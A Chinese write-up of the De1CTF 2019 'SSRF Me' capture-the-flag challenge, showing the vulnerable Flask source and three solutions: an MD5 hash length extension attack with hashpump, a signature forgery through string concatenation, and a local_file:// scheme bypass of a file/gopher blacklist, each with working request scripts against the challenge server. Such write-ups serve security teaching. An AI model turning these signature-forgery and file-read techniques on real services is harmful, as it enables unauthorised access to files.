原帖地址 : https://xz.aliyun.com/t/5927

De1CTF 2019 的一个题目总结

题目描述

  • 直接查看页面源代码可以看到正确格式的代码

    #! /usr/bin/env python
    #encoding=utf-8
    from flask import Flask
    from flask import request
    import socket
    import hashlib
    import urllib
    import sys
    import os
    import json reload(sys)
    sys.setdefaultencoding('latin1') app = Flask(__name__) secert_key = os.urandom(16) class Task:
    def __init__(self, action, param, sign, ip):
    self.action = action
    self.param = param
    self.sign = sign
    self.sandbox = md5(ip)
    if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
    os.mkdir(self.sandbox) def Exec(self):
    result = {}
    result['code'] = 500
    if (self.checkSign()):
    if "scan" in self.action:
    tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
    resp = scan(self.param)
    if (resp == "Connection Timeout"):
    result['data'] = resp
    else:
    print(resp)
    tmpfile.write(resp)
    tmpfile.close()
    result['code'] = 200
    if "read" in self.action:
    f = open("./%s/result.txt" % self.sandbox, 'r')
    result['code'] = 200
    result['data'] = f.read()
    if result['code'] == 500:
    result['data'] = "Action Error"
    else:
    result['code'] = 500
    result['msg'] = "Sign Error"
    return result def checkSign(self):
    if (getSign(self.action, self.param) == self.sign):
    return True
    else:
    return False #generate Sign For Action Scan.
    @app.route("/geneSign", methods=['GET', 'POST'])
    def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param) @app.route('/De1ta',methods=['GET','POST'])
    def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
    return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
    @app.route('/')
    def index():
    return open("code.txt","r").read() def scan(param):
    socket.setdefaulttimeout(1)
    try:
    return urllib.urlopen(param).read()[:50]
    except:
    return "Connection Timeout" def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest() def md5(content):
    return hashlib.md5(content).hexdigest() def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
    return True
    else:
    return False if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0',port=80)
  • 提示给的是 flag 在 ./flag.txt 中,题目单词打错了

  • python 的 flask 框架,三个路由,index 用于获取源码,geneSign 用于生成 md5,De1ta 就是挑战

  • 大概思路就是在 /De1ta 中 get param ,cookie action sign 去读取 flag.txt,其中,param=flag.txtaction 中要含有 readscan,且 sign=md5(secert_key + param + action)

哈希拓展攻击

  • 这是这道题最多的解法,介绍 : https://joychou.org/web/hash-length-extension-attack.html

  • secert_key 是一个长度为 16 的字符串,在 /geneSign?param=flag.txt 中可以获取 md5(secert_key + 'flag.txt' + 'scan') 的值,为 8370bdba94bd5aaf7427b84b3f52d7cb,而目标则是获取 md5(secert_key + 'flag.txt' + 'readscan') 的值

  • 使用 hashpump 即可

    root@peri0d:~/HashPump# hashpump
    Input Signature: 8370bdba94bd5aaf7427b84b3f52d7cb
    Input Data: scan
    Input Key Length: 24
    Input Data to Add: read
    d7163f39ab78a698b3514fd465e4018a
    scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read
  • exp :

    import requests
    
    url = 'http://139.180.128.86/De1ta?param=flag.txt'
    
    cookies = {
    'sign': 'd7163f39ab78a698b3514fd465e4018a',
    'action': 'scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read',
    } res = requests.get(url=url, cookies=cookies)
    print(res.text)

字符串拼接

  • 试着访问了一下 /geneSign?param=flag.txt ,给出了一个 md5 8370bdba94bd5aaf7427b84b3f52d7cb ,但是只有 scan 的功能,想加入 read 功能就要另想办法了

    def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)
  • 看了一下逻辑,在 getSign 处很有意思,这个字符串拼接的就很有意思了

    def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()
  • 不妨假设 secert_keyxxx ,那么在开始访问 /geneSign?param=flag.txt 的时候,返回的 md5 就是 md5('xxx' + 'flag.txt' + 'scan') ,在 python 里面上述表达式就相当于 md5(xxxflag.txtscan) ,这就很有意思了。

  • 直接构造访问 /geneSign?param=flag.txtread ,拿到的 md5 就是 md5('xxx' + 'flag.txtread' + 'scan') ,等价于 md5('xxxflag.txtreadscan') ,这就达到了目标。

  • 直接访问 /De1ta?param=flag.txt 构造 cookie action=readscan;sign=7cde191de87fe3ddac26e19acae1525e 即可

local_file

  • 天枢大佬们的做法 : https://xz.aliyun.com/t/5921#toc-16

  • 放上他们的 exp :

    import requests
    conn = requests.Session() url = "http://139.180.128.86"
    def geneSign(param):
    data = {
    "param": param
    }
    resp = conn.get(url+"/geneSign",params=data).text
    print resp
    return resp def challenge(action,param,sign):
    cookie={
    "action":action,
    "sign":sign
    }
    params={
    "param":param
    }
    resp = conn.get(url+"/De1ta",params=params,cookies=cookie)
    return resp.text
    filename = "local_file:///app/flag.txt"
    a = []
    for i in range(1):
    sign = geneSign("{}read".format(filename.format(i)))
    resp = challenge("readscan",filename.format(i),sign)
    if("title" in resp):
    a.append(i)
    print resp,i
    print a
  • 请求 /geneSign?param=local_file:///app/flag.txtread 获取 md5 值为 60ff07b83381a35d13caaf2daf583c94 ,即 md5(secert_key + 'local_file:///app/flag.txtread' + 'scan')

  • 然后再请求 /De1ta?param=local_file:///app/flag.txt 构造 cookie action=readscan;sign=60ff07b83381a35d13caaf2daf583c94

  • 以上就是他们 exp 做的事情,和上一个方法差不多

  • 关于 local_file :

    • https://bugs.python.org/issue35907

    • 这里是使用的 urllib.urlopen(param) 去包含的文件,所以可以直接加上文件路径 flag.txt./flag.txt 去访问,也可以使用类似的 file:///app/flag.txt 去访问,但是 file 关键字在黑名单里,可以使用 local_file 代替

    • 如果使用 urllib2.urlopen(param) 去包含文件就必须加上 file ,否则会报 ValueError: unknown url type: /path/to/file 的错误

  • https://bugs.python.org/issue35907

[De1CTF 2019]SSRF Me的更多相关文章

  1. 刷题记录:[De1CTF 2019]SSRF Me

    目录 刷题记录:[De1CTF 2019]SSRF Me 一.涉及知识点 1.MD5长度扩展攻击 2.Python 2.x - 2.7.16 urllib.fopen支持local_file导致LFI ...

  2. 刷题[De1CTF 2019]SSRF Me

    前置知识 本题框架是flask框架,正好python面向对象和flask框架没怎么学,借着这个好好学一下 这里我直接听mooc上北京大学陈斌老师的内容,因为讲的比较清楚,直接把他的ppt拿过来,看看就 ...

  3. BUUCTF | [De1CTF 2019]SSRF Me

    解法一字符串拼接: 1.得到签名sign http://8fa4531c-1164-49b7-a700-70e77e6aacb7.node3.buuoj.cn/geneSign?param=flag. ...

  4. [De1CTF 2019]SSRF Me-MD5长度扩展攻击&CVE-2019-9948

    0x00 打开题目查看源代码,开始审计 这里贴上网上师傅的博客笔记: https://xz.aliyun.com/t/6050 #! /usr/bin/env python #encoding=utf ...

  5. 刷题记录:[De1CTF 2019]Giftbox && Comment

    目录 刷题记录:[De1CTF 2019]Giftbox && Comment 一.知识点 1.sql注入 && totp 2.RCE 3.源码泄露 4.敏感文件读取 ...

  6. [De1CTF 2019]Giftbox 分析&&TPOP学习

    [De1CTF 2019]Giftbox 刚进来我以为是直接给了shell,恐怖如斯. 随便扔了个命令,之后就没然后了,hhh,截包发现可能存在sql注入. 然后我就不会了... what i lea ...

  7. BUUCTF知识记录

    [强网杯 2019]随便注 先尝试普通的注入 发现注入成功了,接下来走流程的时候碰到了问题 发现过滤了select和where这个两个最重要的查询语句,不过其他的过滤很奇怪,为什么要过滤update, ...

  8. BUUCTF WEB

    BUUCTF 几道WEB题WP 今天做了几道Web题,记录一下,Web萌新写的不好,望大佬们见谅○| ̄|_ [RoarCTF 2019]Easy Calc 知识点:PHP的字符串解析特性 参考了一下网 ...

  9. 刷题记录:[De1ctf] shell shell shell

    目录 刷题记录:[De1ctf] shell shell shell 一.知识点 1.源码泄露 2.正则表达式不完善导致sql注入 3.soapclient反序列化->ssrf 4.扫描内网 5 ...

随机推荐

  1. Python第四章-流程控制

    流程控制 在以前的代码中,所有的代码都是交由 Python 忠实地从头执行到结束.但是这些远远不够.很多时候需要根据不同的情况执行不同的代码. 如果你想改变这一工作流程,应该怎么做? 就像这样的情况: ...

  2. 深度学习框架Keras与Pytorch对比

    对于许多科学家.工程师和开发人员来说,TensorFlow是他们的第一个深度学习框架.TensorFlow 1.0于2017年2月发布,可以说,它对用户不太友好. 在过去的几年里,两个主要的深度学习库 ...

  3. 解析PE文件

    最近在自学解析PE文件,根据小辣椒(CFF Explorer)以及各论坛上大佬的帖子,做了个黑屏打印PE文件的,历时7天完成,在此想跟有相关需要的同学们分享下思路,有不足之处也希望大家不吝赐教,指点出 ...

  4. Ribbon负载均衡实现

    1,在之前的博文中,我通过eureka,consul,zookeeper 实现了注册中心,在实现的服务发现过程中,都是通过RstTemplate 来实现RPC 远程调用 RestTemplate 封装 ...

  5. SpringCloud服务的注册发现--------Eureka实现高可用

    1,Eureka作为注册中心,掌管者服务治理的功能,十分重要,如果注册中心的服务一旦宕机,所有的服务就会挂了,为此,实现注册中心的集群(高可用)就显得十分必要了 2,Eureka 搭建集群 实现原理就 ...

  6. canvas 悬浮效果

    <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...

  7. PTA数据结构与算法题目集(中文) 7-15

    PTA数据结构与算法题目集(中文)  7-15 7-15 QQ帐户的申请与登陆 (25 分)   实现QQ新帐户申请和老帐户登陆的简化版功能.最大挑战是:据说现在的QQ号码已经有10位数了. 输入格式 ...

  8. Java进行二元操作类型转换

    当对两个数值进行二元操作时,先要将两个操作数转换为同一种类型,然后再进行计算. 如果两个操作数中有一个是double类型,另一个操作数就会转换为double类型. 否则,如果其中一个操作数是float ...

  9. .NET Core项目部署到Linux(Centos7)(一)前言

    目录 1.前言 2.环境和软件的准备 3.创建.NET Core API项目 4.VMware Workstation虚拟机及Centos 7安装 5.Centos 7安装.NET Core环境 6. ...

  10. ELK 是什么?

                                                                         ELK 是什么? 2018年07月04月  09:37:46 ...